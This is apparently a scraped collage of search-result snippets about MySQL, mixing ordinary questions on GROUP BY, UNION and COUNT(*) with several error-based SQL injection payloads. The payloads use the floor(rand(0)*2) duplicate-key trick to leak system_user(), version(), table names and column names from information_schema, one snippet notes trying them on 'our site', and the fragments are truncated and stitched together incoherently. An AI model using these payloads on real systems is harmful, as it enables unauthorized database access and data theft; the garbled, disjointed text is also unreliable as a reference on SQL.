1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Имя хоста
i have a table like this … i want to write a select query so that i wil get the resul like this … here i need to group by id and sum of amount and concat the string name with same id and differnet name …
...201%20from(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
Is it possible to select from the result of a union? For example I'm trying to do something like: … Am I missing anything or making an assumption about how this works?
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a). Notice the LIMIT 0...
1 AND (SELECT * FROM Users) = 1. Operand should contain 3 column(s).
%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select TABLE_NAME from INFORMATION_SCHEMA.TABLES LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%. now we know the users table...
union select 2 union select 3)a group by x limit 1)
InnoDB handles SELECT COUNT(*) and SELECT COUNT(1) operations in the same way.